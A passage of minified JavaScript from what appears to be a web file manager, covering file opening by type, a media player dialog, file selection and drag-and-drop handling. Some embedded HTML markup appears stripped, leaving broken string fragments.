    \n"),define("app/common/pathOpen",["./myPlayer"],function(e){var i=function(e,i){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==i)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=i){if(i||(i=core.pathExt(e)),l(i))return c(e),void 0;if("swf"==i)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,i))return core.zipView(e),void 0;if("url"==i)return core.fileGet(e,function(i){var t=i.match(/URL=(.*)/);t.length>=2?window.open(t[1]):s(e)}),void 0;if("webloc"==i)return core.fileGet(e,function(i){try{var t=$($.parseXML(i)),a=t.find("string").text();window.open(a)}catch(n){s(e)}}),void 0;if("html"==i||"htm"==i){var a=core.path2url(e);return core.openDialog(a,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,i)){var a=e;return-1==a.indexOf("http:")&&(a=core.path2url(a)),MaskView.image(a),void 0}if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var a=core.path2url(e,!1);return p([{url:a,name:urlDecode(core.pathThis(e)),ext:i}]),void 0}if("pdf"!=i)return inArray(core.filetype.doc,i)?(c(e),void 0):inArray(core.filetype.text,i)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(i+LNG.edit_can_not,!1):t(e,""),void 0);var n=core.path2url(e),a="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(n);if(canvasSupport())core.openDialog(a,core.icon(i),htmlEncode(core.pathThis(e)));else{var o="pdf"+UUID(),r='";$.dialog({resize:!0,fixed:!0,ico:core.icon(i),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),new PDFObject({url:n}).embed(o)}}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var i=jsonDecode(e);i.name=core.pathThis(d),core.openApp(i)})}else core.openApp(e)}},t=function(e,i){void 0==i&&(i="");var t='
    '+LNG.unknow_file_tips+"
    "+i+"


    "+' "+LNG.edit+"  "+' "+LNG.unknow_file_download+"
    ";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:t,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},a=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('').appendTo("body")},n=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(i="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(i=e),a(i)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.path2url(e);window.open(i)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,t)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,t)||inArray(core.filetype.music,t)||inArray(core.filetype.image,t)||inArray(core.filetype.movie,t)||inArray(core.filetype.doc,t)?(i(e,t),void 0):(r(e),void 0))}},r=function(e){var i=ShareData.frameTop();if(i.Editor!==void 0)return i.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var t=i.$.dialog.list.openEditor,a=0;t&&"hidden"==$(t.DOM.wrap).css("visibility")&&(a=200,t.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(i){i.Editor.add(urlEncode(e))})},a)}else{var n="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(n,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var i=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return i+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",i+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===i.indexOf("."+e+".")?!1:!0},c=function(e,i){var t="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(t=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),i!==void 0&&(t+="&is_edit=1"),"page"==G.kodOffice?(window.open(t),void 0):(core.openDialog(t,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(i){if(i){"string"==typeof i&&(i=[i]);var t=e("./myPlayer");t.play(i)}},p=function(e){var i=ShareData.frameTop();i.ui.pathOpen.playerInstance(e)};return{open:i,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:t,downloadUrl:a,download:n}}),define("app/common/myPlayer",[],function(e){var i="",t="",a="music_player",n="movie_player",o=function(e){var n=e==a?"mp3":"mp4",o="."+e+"_dialog",s=i,l={width:"70%",height:"60%"};e==a&&(s=t,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(n),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var i=r(e);i.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?a:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?a:n)},r=function(e){var i="."+e+"_dialog",t=$(i);return 0==t.length?!1:t.find(".jPlayer-container")},l=function(e){var i={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},t=e.ext,a=i[t],n={extType:a,title:e.name,url:e.url,solution:"flv"==t||"f4v"==t?"flash":"html,flash"};return n[a]=e.url,n +},c=function(e,i){if(i){var t=e.parents(".jPlayer"),a={solution:i.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};t.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(t,a)),e.find("object").length>0?t.addClass("flashPlayer"):t.removeClass("flashPlayer"),e.jPlayer("setMedia",i),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(t),setTimeout(function(){var e=t.parents(".dialog-simple").find(".aui_titleBar").attr("id"),a=$.dialog.list[e];a&&a.title(i.title)},100)}},d=function(e){var i=e[0].ext,t=s(i),n=r(t),d=l(e[0]);n||(n=o(t),t==a&&p.init()),t==a&&(d=p.insert(n,e,i)),c(n,d);try{$.dialog.list[t+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],i=0,t=null,a="circle",n=function(a,n){t=a;for(var s=e.length,r=0;n.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==n[r].url){c=!0;break}if(c){if(r==n.length-1)return i!=d&&o(d),!1}else e.push(l(n[r]))}return e.length==s?!1:(i=e.length-1,u(!0),e[i])},o=function(a){a=0>=a?0:a,a=a>=e.length-1?e.length-1:a,i=a;var n=e[a];c(t,n),u(!1)},s=function(t){switch(a){case"circle":"next"==t?e.length-1>i?o(i+1):o(0):0>i-1?o(e.length-1):o(i-1);break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(i);break;default:}},r=function(i){e.remove(i),o(i),u(!0)},d=function(i){var t=e[i],a=t.url+"&download=1";ui.pathOpen.downloadUrl(a)},p=function(){i=0,e=[],a="circle";var t=$(".jPlayer-music"),n=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];t.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=n.length?0:e;var i=n[e];$(this).attr("data-loop",e).find("i").attr("class",i.icon),a=i.loop}),t.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),t.find(".play-forward").unbind("click").bind("click",function(){s("next")}),t.find(".show-list").unbind("click").bind("click",function(e){t.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),t.find(".play-list .item").die("click").live("click",function(e){var i=$(this).index();o(i),stopPP(e)}),t.find(".play-list .remove").die("click").live("click",function(e){var i=$(this).parents(".item"),t=i.index();return i.remove(),r(t),stopPP(e),!1}),t.find(".play-list .download").die("click").live("click",function(e){var i=$(this).parents(".item").index();return d(i),stopPP(e),!1})},u=function(a){var n=$(t).parents(".jPlayer");if(a){var o="";$.each(e,function(e,i){o+='
  • '+i.title+'
  • '}),n.find(".play-list .content").html(o)}return 0!=e.length&&e[i]?(n.find(".item-title").html(e[i].title),n.find(".item").removeClass("this"),n.find(".item:eq("+i+")").addClass("this"),f(n.find(".player-bg")),void 0):(i=0,n.find(".item-title").html("  "),t.jPlayer("destroy"),t.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var i=h(),t=h(),a="160deg",n="background-image: -webkit-linear-gradient("+a+", "+i+", "+t+"); background-image: -moz-linear-gradient("+a+", "+i+", "+t+"); background-image: -o-linear-gradient("+a+", "+i+", "+t+"); background-image: -ms-linear-gradient("+a+", "+i+", "+t+"); background-image: linear-gradient("+a+", "+i+", "+t+");";e.attr("style",n)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:n,init:p}}(),u=function(a){var o=s(a[0].ext);o==n?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMovie,d(a)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMusic,d(a)})},f=function(i,t){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:i},ready:function(){t.jPlayer("setMedia",e.media).jPlayer("play")}};t.jPlayer("destroy").children().remove(),t.jPlayer(e)})};return{play:u,playSound:f}}),define("app/src/explorer/tpl/file_create.html",[],"
    \n {{if list_type=='list'}}{{/if}}\n
    \n \n {{if type=='folder'}}\n
    {{\"folder\" | core.icon}}
    \n {{else}}\n
    {{ext | core.icon}}
    \n {{/if}}\n
    \n {{if list_type=='icon'}}\n \n {{else}}\n \n {{/if}}\n
    \n
    \n
    \n
    \n
    \n"),define("app/src/explorer/fileLight",[],function(){var e=$(),i=$(),t=function(){var e;e="list_split"!=G.user_config.list_type?$(".bodymain .fileContiner .file"):$(".bodymain .fileContiner .split_select .file"),i=e,f("clear"),n()},a=function(){var i=$(Config.SelectClass);e=i,i.length>1&&c(i),f("menufile"),o(),h()},n=function(){if(G.json_data&&G.json_data.filelist){var e=G.json_data.filelist.length+G.json_data.folderlist.length;$(".file_select_info .item_num").html(e+LNG.folder_info_item)}},o=function(){var i="",t=0,a=e;0!=a.length&&(i=a.length+LNG.folder_info_item_select,a.each(function(){t+=parseInt($(this).attr("data-size"))}),0!=t&&(i=i+" ("+core.fileSize(t)+")")),$(".file_select_info .item_select").html(i)},s=function(i){var t=e;if(void 0==i&&t&&t.length>=1&&(i=$(t[t.length-1])),void 0!=i&&!i.inScreen()){var a=$(".bodymain");"list_split"==G.user_config.list_type&&(a=i.parent());var n=i.offset().top-a.offset().top-a.height()/2+a.scrollTop();a.stop(!0).animate({scrollTop:n},100)}},r=function(e){return core.pathThis(m(e))},l=function(e){return e.find(".ico").attr("filetype")},c=function(e){if(G.json_data.info)switch(G.json_data.info.path_type){case G.KOD_USER_RECYCLE:return;case G.KOD_USER_FAV:return e.removeClass("menuFavPath").addClass("menuFavPathMore"),void 0;case G.KOD_USER_SHARE:if(-1==trim(G.this_path,"/").search("/"))return e.removeClass("menuSharePath").addClass("menuSharePathMore"),void 0;case G.KOD_GROUP_ROOT_SELF:case G.KOD_GROUP_ROOT_ALL:return e.removeClass("menuGroupRoot").addClass("menuGroupRootMore"),void 0;default:}e.removeClass("menufile menufolder").addClass("menuMore"),f()},d=function(e){var i={fileBox:"menufile",folderBox:"menufolder",menuRecyclePath:"menuRecyclePath",menuSharePathMore:"menuSharePath",menuFavPathMore:"menuFavPath",menuGroupRootMore:"menuGroupRoot",menuDefault:"menuDefault"};e.removeClass("menuMore");for(var t in i)e.hasClass(t)&&e.addClass(i[t]);f()},p=function(){var i=[];if(0!=e.length)return e.each(function(){i.push(m($(this)))}),i},u=function(){if(0!=e.length){var i=e;i.removeClass(Config.SelectClassName),i.each(function(){d($(this))}),e=$(),f(),o(),h()}},f=function(){0==e.length?($(".drop-menu-action li").addClass("disabled"),$(".drop-menu-action #past").removeClass("disabled"),$(".drop-menu-action #info").removeClass("disabled")):$(".drop-menu-action li").removeClass("disabled")},h=function(){var i=".close_item,.refresh,.newfile,.past,.info",t=".open_ie",a=".explorer,.createProject,.openProject",n=".close_item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more_action,.clone,.info,.zip,.zip_zip,.zip_tar,.zip_tgz",o=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.createLinkHome,.createLink,.createProject",s=$(".menuToolPath"),r="disabled";s.find(".context-menu-item").addClass(r),0==e.length?s.find(i).removeClass(r):1==e.length?(s.find(".context-menu-item").removeClass(r),"folder"==l(e)?s.find(t).addClass(r):s.find(a).addClass(r)):e.length>1&&s.find(n).removeClass(r),G.json_data&&G.json_data.info&&G.json_data.info.can_upload===!1&&s.find(o).filter(":not(."+r+")").addClass(r)},m=function(e,i){return void 0==i&&(i="data-path"),void 0!=e.attr("data-path-children")&&(i="data-path-children"),pathHashDecode(e.attr(i))};return{init:t,name:r,path:m,type:l,fileListSelect:function(i){return i&&(e=i),e},fileListAll:function(e){return e&&(i=e),i},select:a,setInView:s,setMenu:c,menuResetMore:h,resumeMenu:d,getAllName:p,clear:u,menuAction:f}}),define("app/src/explorer/fileSelect",[],function(){var e=!1,i=!1,t=!1,a=function(){$(Config.FileBoxClass).die("touchstart").live("touchstart",function(){$(this).hasClass("select")?ui.path.open():(ui.fileLight.clear(),$(this).removeClass("select"),$(this).addClass("select"),ui.fileLight.select())});var a=function(e){!e.hasClass(Config.TypeFolderClass)&&!e.hasClass("menuRecycleButton")||e.hasClass(Config.SelectClassName)||($(".selectDragTemp").removeClass("selectDragTemp"),e.addClass("selectDragTemp"))},l=function(){};$(Config.FileBoxClass).die("mouseenter").live("mouseenter",function(){i&&a($(this)),e||i||$(this).addClass(Config.HoverClassName),l($(this)),$(this).unbind("mousedown").bind("mousedown",function(e){if($(e.target).is("input")||$(e.target).is("textarea"))return!0;if($(this).focus(),rightMenu.hidden(),$(e.target).parents(".children_more").length>0)return ui.fileContent.pathChildrenTree($(this)),stopPP(e),!1;if(!(e.ctrlKey||e.metaKey||e.shiftKey||$(this).hasClass(Config.SelectClassName)))return ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),!0;if(3!=e.which||$(this).hasClass(Config.SelectClassName)||(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select()),(e.ctrlKey||e.metaKey)&&($(this).hasClass(Config.SelectClassName)?t=!0:(ui.fileLight.setMenu($(this)),$(this).addClass(Config.SelectClassName)),ui.fileLight.select()),e.shiftKey){var i=h.fileListAll($(this)),a=h.fileListSelect($(this)),n=i.index($(this));if(0==a.length)x(0,n,i);else{var o=i.index(a.first()),s=i.index(a.last());o>n?x(n,s,i):n>s?x(o,n,i):x(o,n,i)}}return!0}).unbind("mouseup").bind("mouseup",function(){return $(".selectDragTemp").removeClass("selectDragTemp"),!0})}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(Config.HoverClassName),i&&$(this).removeClass("selectDragTemp")}).die("click").live("click",function(e){return stopPP(e),i?!1:(0==$(this).find(".textarea").length&&0==$(".file-draging-box").length&&(e.ctrlKey||e.metaKey||e.shiftKey?(e.ctrlKey||e.metaKey)&&t&&(t=!1,ui.fileLight.resumeMenu($(this)),$(this).removeClass(Config.SelectClassName),ui.fileLight.select()):(ui.fileLight.clear(),$(this).addClass(Config.SelectClassName),ui.fileLight.select(),r($(this)))),void 0)}).die("dblclick").live("dblclick",function(e){if(!($(e.target).is("textarea")||$(e.target).is("input")||$(e.target).hasClass("children_more")||$(e.target).hasClass("children_more_cert")))if(e.altKey)ui.path.info();else{if(1!=ui.fileLight.fileListSelect().length)return;if("list_split"==G.user_config.list_type&&s($(this))){var i=ui.fileLight.path($(this));return G.this_path="",$(".fileList_list_split .split_box").remove(),ui.path.list(i),void 0}ui.path.open()}}),n(),o(),$(Config.FileBoxTittleClass).die("dblclick").live("dblclick",function(e){if(!$(this).hasClass("db_click_rename"))return!0;var i=$(this).parents(".file");return i.hasClass("systemBox"),ui.path.rname(),stopPP(e),!1})},n=function(){var e;$("#folderList a").die("mouseenter").live("mouseenter",function(){if(i){$(this).hasClass("menuTreeFolder")&&$(this).addClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));!a.open&&a.isParent&&(e=setTimeout(function(){t.expandNode(a,!0)},600))}}).die("mouseup").live("mouseup",function(){if(i){$(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1;var t=ui.tree.zTree(),a=t.getNodeByTId($(this).parent().attr("id"));setTimeout(function(){a.isParent=!0,t.reAsyncChildNodes(a,"refresh")},100)}}).die("mouseleave").live("mouseleave",function(){i&&($(this).removeClass("curDropTreeNode"),clearTimeout(e),e=!1)})},o=function(){$(".header-middle .yarnlet a").die("mouseenter").live("mouseenter",function(){i&&$(this).addClass("curDropToPath")}).die("mouseup").live("mouseup",function(){i&&$(this).removeClass("curDropToPath")}).die("mouseleave").live("mouseleave",function(){i&&$(this).removeClass("curDropToPath")})},s=function(e){return"icon"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")?!0:!1:"list"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:"list_split"==G.user_config.list_type?e.hasClass("folderBox")||e.hasClass("menuRecycleButton")||0!=e.find(".children_more_cert").length?!0:!1:void 0},r=function(e){if("list_split"==G.user_config.list_type&&s(e)&&1==ui.fileLight.fileListSelect().length){var i=ui.fileLight.path(e);ui.path.history.add(i),ui.fileContent.pathChildrenSplit(i,function(){c(i)})}},l=function(){var e=".fileList_list_split .split_box",i="split_hover";$(e).live("mouseenter",function(){$(e).removeClass(i),$(this).addClass(i)}).die("mouseleave").live("mouseleave",function(){$(this).removeClass(i)}).die("click").live("click",function(){c(ui.fileLight.path($(this)))}).die("mousedown").live("mousedown",function(e){var i=$(e.target).parents(".file");(0==i.length||0==i.find(".children_open").length)&&c(ui.fileLight.path($(this)))})},c=function(e){var i=$(".fileList_list_split .split_box"),t=$('.fileList_list_split .split_box[data-path="'+pathHashEncode(e)+'"]'),a=$('.fileList_list_split .split_box .file[data-path="'+pathHashEncode(e)+'"]'),n="split_select";0==t.length&&(t=i.last()),i.removeClass(n),t.addClass(n),0==ui.fileLight.fileListSelect().length&&a.addClass("select"),ui.fileLight.select();var o=t.data("jsonData");o&&e&&(ui.fileContent.pathTypeChange(o),G.this_path=e,G.json_data=o,ui.headerAddress.addressSet()),ui.fileLight.init()},d=function(e){return e.hasClass("menuSharePath")||e.hasClass("systemBox")?!1:!0},p=function(){var t,a,n,o=150,s=!1,r=!1,l=0,c=!1,p=-15,u=10,f=0,h=0,m="selectDragDraging";$(Config.FileBoxClass).die("mousedown").live("mousedown",function(i){if(!i.shiftKey){if(ui.isEdit())return!0;if(1!=i.which||e)return!0;t=$(this),d(t)&&(g(i),$.browser.mozilla||this.setCapture&&this.setCapture(),$(document).mousemove(function(e){b(e)}),$(document).keydown(function(e){b(e)}),$(document).keyup(function(e){b(e)}),$(document).one("mouseup",function(e){k(e),this.releaseCapture&&this.releaseCapture()}))}});var v,_,g=function(e){rightMenu.hidden(),i=!0,l=$.now(),f=e.pageY,h=e.pageX,a=$(document).height(),n=$(document).width(),r=$(e.target).parents(".file")},b=function(e){if(!i)return!0;if(window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),$.now()-l>o&&!c&&(w(),s=$(".draggable-dragging"),s.attr("data-beforeInfo",s.find("span").html())),c){var t=e.clientX>=n-50?n-50:e.clientX,r=e.clientY>=a-50?a-50:e.clientY;return t=0>=t?0:t,r=0>=r?0:r,t-=p,r-=u,s.css({left:t,top:r}),y(e),j(t-h+p,r-f+u),!0}},y=function(e){clearTimeout(v),v=!1,v=setTimeout(function(){try{x(e)}catch(i){}},10)},x=function(e){var i=e.ctrlKey||e.metaKey,t=function(e,i){G.sid!==void 0&&(e="none"),void 0!=i&&0!==i.search(G.KOD_GROUP_PATH)&&0!==i.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(i)&&(e="clear");var t=htmlEncode(core.pathThis(i)),a=" "+s.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copy_to:''+LNG.copy_to+'"'+t+'"',move_to:''+LNG.cute_to+'"'+t+'"',remove:''+LNG.remove+a+"",share:''+LNG.share+a+"",none:''+LNG.no_permission_write+"",clear:s.attr("data-beforeInfo")};i==G.this_path&&(n.copy_to=''+LNG.clone+""),s.find("span").html(n[e]),s.attr("data-actionType",e),s.attr("data-actionPath",i)};if(0!=$(".selectDragTemp").length||0!=$(".curDropTreeNode").length||0!=$(".curDropToPath").length){var a=ui.fileLight.path($(".selectDragTemp"));if(0!=$(".curDropTreeNode").length){var n=ui.tree.zTree(),o=n.getNodeByTId($(".curDropTreeNode").parent().attr("id"));a=o.path}0!=$(".curDropToPath").length&&(a=$(".curDropToPath").attr("data-path")),$(".selectDragTemp").hasClass("menuRecycleButton")?t("remove"):i?t("copy_to",a):t("move_to",a)}else if(0!=$(".recycle_hover").length)t("remove");else if(0!=$(".share_hover").length&&1>=ui.fileLight.fileListSelect().length)t("share");else if(i){var a=G.this_path;"list_split"==G.user_config.list_type&&0!=$(".split_hover").length&&(a=ui.fileLight.path($(".split_hover"))),t("copy_to",a)}else"list_split"!=G.user_config.list_type||0==$(".split_hover").length||$(".split_hover").hasClass("split_select")?t("clear"):t("move_to",ui.fileLight.path($(".split_hover")))},k=function(){if(!i)return!1;if(i=!1,c=!1,$("body").removeClass(m),s){s.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){s.remove(),s=!1});var e=function(e,i){switch(e){case"copy_to":ui.path.copyDrag(i,!0);break;case"move_to":ui.path.cuteDrag(i);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},t=s.attr("data-actionType");-1!=$.inArray(t,["copy_to","move_to","remove","share"])?P(!1):P(!0),e(t,s.attr("data-actionPath"))}},w=function(){$("body").addClass(m);var e=ui.fileLight.fileListSelect().length;$('
    '+e+'
    '+e+" "+LNG.file+"
    ").appendTo("body"),c=!0,setTimeout(S,20)},N=0,L=5,C=35,z=20,T=60,S=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"fileList_icon",list:"fileList_list",list_split:"fileList_list_split"},i=e[G.user_config.list_type];$("
    ").appendTo("body"),_=$(Config.SelectClass).filter("[data-path!='']");var t=_.clone();(_.length>=T||$.browser.msie)&&(t=r.clone()),t.appendTo(".file-draging"),t.each(function(e){var i=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']"),a=i.offset();$(this).css({left:a.left,top:a.top,width:i.width()}),$(this).data({"data-left":a.left,"data-top":a.top,"data-animateTime":200+e*L,"data-sizeAdd":N*e}),$(this).attr("data-path")==r.attr("data-path")&&$(this).addClass("handle_target"),1==t.length&&($(this).data({"data-animateTime":0}),z=0)}),_.addClass("item-file-draging");var a=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");t.each(function(){var i=$(this),t=$(this).data("data-sizeAdd"),a=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:a,easing:"swing",progress:function(a,n){var o=i.offset(),s=e.offset(),r=(s.left+t-o.left)*n,l=(s.top+t+C-o.top)*n;i.css({left:o.left+r,top:o.top+l})},complete:function(){i.data("status","finished")}})})},z);$(".file-draging-box").data("dragDelay",a),$(".file-draging-box").data("animate","ready")},j=function(e,i){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+i})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),i=$(".draggable-dragging").offset();$(this).css({left:i.left+e,top:i.top+e+C})}}),void 0)},P=function(e){var i=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(i){var t=i*L,a=$(".bodymain .fileContiner .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+t,function(){_.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(a.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+t,function(){$(this).remove()}))});var t=setTimeout(function(){$(".file-draging-box").remove()},400+L*i);$(".file-draging-box").data("removeDelay",t)}},u=function(){var t=null,a=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";"desktop"==Config.pageApp&&(d="fileContiner");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".fileContiner").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||i)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,m(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(i){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"list_split"==G.user_config.list_type&&(o+=$(i.target).parents(".split_box").scrollTop()),$(i.target).parent().hasClass(Config.FileBoxClassName)||$(i.target).parent().parent().hasClass(Config.FileBoxClassName)||$(i.target).hasClass("fix")||(rightMenu.hidden(),i.ctrlKey||i.metaKey||i.shiftKey||ui.fileLight.clear(),$(i.target).hasClass("ico")||(t=i.pageX-s,a=i.pageY-o,c=setTimeout(function(){e=!0,0==$("#selContainer").length&&$('
    ').appendTo(Config.FileBoxSelector),n=$("#selContainer")},100)))},f=function(i){if(!e)return!0;var o=i.pageX-p.offset().left+p.scrollLeft(),s=i.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-t),d=Math.abs(s-a);s>a&&d>r-a&&r>l&&(d=r-a),n.css({left:Math.min(o,t),top:Math.min(s,a),width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&h()},h=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),i=n.offset().top-p.offset().top+p.scrollTop(),t=e+n.width(),a=i+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("list_split"==G.user_config.list_type&&(d+=l.parents(".split_box")[0].offsetLeft,f=d+l.width()),t-e+f-d>Math.abs(e+t-(d+f))&&a-i+h-u>Math.abs(i+a-(u+h))){if(!l.hasClass("selectDragTemp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("selectDragTemp")}}else l.removeClass("selectDragTemp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},m=function(){return e?(h(),n.remove(),$(".selectDragTemp").addClass(Config.SelectClassName).removeClass("selectDragTemp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),e=!1,t=null,a=null,void 0):!1}},f=function(e,i){var t=$(".fileList_list_split .split_box.split_select");if(e)t=e.parents(".split_box");else if(0!=ui.fileLight.fileListSelect().length){var a=ui.fileLight.fileListSelect().last();t=a.parents(".split_box")}return t.find(i)},h={fileListAll:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListAll():f(e,".file")},fileListSelect:function(e){return"list_split"!=G.user_config.list_type?ui.fileLight.fileListSelect():f(e,".file.select")}},m=function(e){var i=h.fileListAll(),t=h.fileListSelect(),a=i.length-1,n=0,o=ui.getColfileNumberDesktop(),s=i.index(t.first()),r=i.index(t.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=a||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=a?a:r+o;break;default:}return 